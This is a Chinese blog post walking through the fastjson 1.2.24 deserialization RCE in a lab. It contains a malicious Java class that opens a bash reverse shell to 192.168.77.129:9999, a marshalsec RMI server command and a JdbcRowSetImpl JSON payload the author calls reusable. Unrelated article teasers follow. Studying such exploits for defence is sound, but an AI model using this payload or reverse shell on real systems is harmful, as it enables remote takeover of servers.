fastjson

news/2024/7/1 17:14:10

fastjson

一、fastjson简介

fastjson是java的一个库,可以将java对象转化为json格式的字符串,也可以将json格式的字符串转化为java对象

提供了 toJSONString() 和 parseObject() 方法来将 Java 对象与 JSON 相互转换。调用toJSONString方 法即可将对象转换成 JSON 字符串,parseObject 方法则反过来将 JSON 字符串转换成对象。

二、fastjson反序列化漏洞原理

在反序列化的时候,会进入parseField方法,进入该方法后,就会调用setValue(object, value)方法,在这里,会执行构造的恶意代码,最后造成代码执行。 那么通过以上步骤,我们可以知道该漏洞的利用点有两个,第一是需要我们指定一个类,这个类的作用是为了让程序获取这个类来进行反序列化操作。第二是需要将需要执行的代码提供给程序,所以这里使用了rmi。 然后反序列化的时候会去请求rmi服务器,地址为: dnslog.cn/aaa。然后加载aaa这个恶意class文件从而造成代码执行。

三、fastjson反序列化漏洞的前提条件

1.目标服务器存在fastjson。  
2.没有对用户传输的数据进行严格过滤

四、攻击步骤

1.黑客使用payload攻击主机A(该payload需要指定rmi/ldap地址)  
2.主机A引发反序列化漏洞,进行ldap远程方法调用,去连接主机B的9999端口。  
3.主机B的LDAP服务指定加载主机C的恶意java类,所以主机A通过主机B的LDAP服务最终加载并执行主机C的恶意java类。  
4.主机A执行恶意Java类,主机B获得反弹shell,控制主机A。

1.2.24-rce

1.开启环境,抓包判断是否是fastjson框架

image

开启抓包确定是不是fastjson框架,通过修改请求包判断是否是fastjson框架 ,应为fastjson有一个严格的格式才能解析,否则会报错

127d8b91196545deb7dafd493603975c

2.创建恶意类文件HackerFile.java

在/var/www/html下创建,http服务可访问(注意,要确保http服务开的,可以在网站目录用python起一个http服务)。使用javac编译 HackerFile.java文件 生成一个类文件

import java.lang.Runtime;
import java.lang.Process;
public class HackerFile {static {try {Runtime r = Runtime.getRuntime();Process p = r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/192.168.77.129/9999 0>&1"});p.waitFor();} catch (Exception e) {// do nothing}}
}

image

3.开启rmi服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.77.129/#HackerFile" 6666

下载类文件时需要添加#

使用jar包开启rmi服务,使得他人可以访问、并将文件下载到本地去执行

image

4.开启nc监听

image

5.修改数据包实现下载

数据包内容:【以后利用fastjson,只需修改访问地址,其他是固定的】

{"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.77.129:6666/HackerFile",
"autoCommit":true}
}

6.点击go,发现反弹shell成功

image

7.get shell的过程

发送数据包之后,靶机通过rmi 6666端口 下载了恶意类文件并且执行了它

该文件里有kali 反弹shell的命令,故实现了get shell

【/bin/bash","-c","bash -i >& /dev/tcp/192.168.77.129/9999 0>&1】

ef601f8fa48fa662c4ac0b8b00868832

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hjln.cn/news/48370.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

批量选取不相邻单元格(同填充色)

问题:批量选取相同填充色的不相邻的单元格 查找法: 开始》查找》查找》选项》格式》背景颜色》点选带背景颜色的单元格》查找全部》Ctrl+A筛选法: 筛选》颜色筛选选取筛选结果》开始》查找》定位》可见单元格》定位

全基因组选择(GS)合集

目前,《生物信息与育种》公众号已经发布了50来篇有关基因组选择(GS)的推文,包括了一些教程、书籍、文献、工具、案例等,基本上阅读了这些文章,对GS有个较为全面的了解应该是没问题的。 《生物信息与育种》GS合集近期,中国农科院团队首席将于6月28~30日举办第三期全基因组…

新高考越这样改,县中出“尖子生”越难 | 转载

如何才能突破目前的教育困境2024/6/21 09:13来自上海观察者网官方账号【文/观察者网专栏作者 邓碧玲】 一、在县中,教学和考试成了两回事 2022年高考全国I卷的数学试卷中出现了二级结论相关的题目,湖南省Y县一中在暑期专门组织教师培训20天关于二级结论的解题技巧,这在之后的…

可持久化Trie

更好的体验 带注释的代码开始理解可持久化, 这里因为是acwing打卡, 可以放图片了有可能会用图片, 尽量打字可持久化trie, 就是一个trie树但是可以通过不同的开头(root), 变成每个历史状态这里就用到上面的图片了, 每次更新trie树, 这条新加入的链一定要, 开成新的, 即使前面有相…

2024数学高考压轴题

2024数学高考压轴题 题面 懒得打,直接放。解(1)\((1,2),(5,6),(1,6)\)。(2)考虑,\(a_1,a_3,a_4,\dots,a_12,a_14\),可以通过这样的方式分成 \(3\) 个等差数列: \[\begin{matrix}a_1,a_4,a_7,a_{10};\\a_3,a_6,a_9,a_{12};\\a_5,a_8,a_{11},a_{14}. \end{matrix} \]使得每一…

docker 使用

docker 使用 科普名词​平台: docker 程序就是一个类似平台一样的程序,为了方便理解,你可以把它比喻为类虚拟机。镜像:技术人员构建的各种包含了特殊环境的可以在 docker 上运行的独立子系统包。容器:拉取镜像运行后,封装在一个指定的文件夹位置里的子进程。海纳思系统内置…

Pixellib语义分割-图像背景替换

1.Pixellib Pixellib 是一个基于 TensorFlow 和 OpenCV 的深度学习库,用于语义分割和实例分割任务,提供了强大的工具和库来构建和训练深度神经网络模型。Pixellib 支持多种主流深度学习模型,如 DeepLabV3、Mask R-CNN、YOLOv4、YOLOv5 和 Panoptic FPN 等 2. 安装安装tenforf…

JetBrains PhpStorm 2024 mac/win版:探索PHP之美,智慧编程新境界

JetBrains PhpStorm 2024是一款卓越的PHP集成开发环境(IDE),专为满足现代PHP开发者的需求而精心打造。它凭借强大的功能和出色的性能,赢得了全球开发者的广泛赞誉。 PhpStorm 2024 mac/win版获取PhpStorm 2024提供了智能的代码编辑功能,包括自动补全、语法高亮、代码重构等,…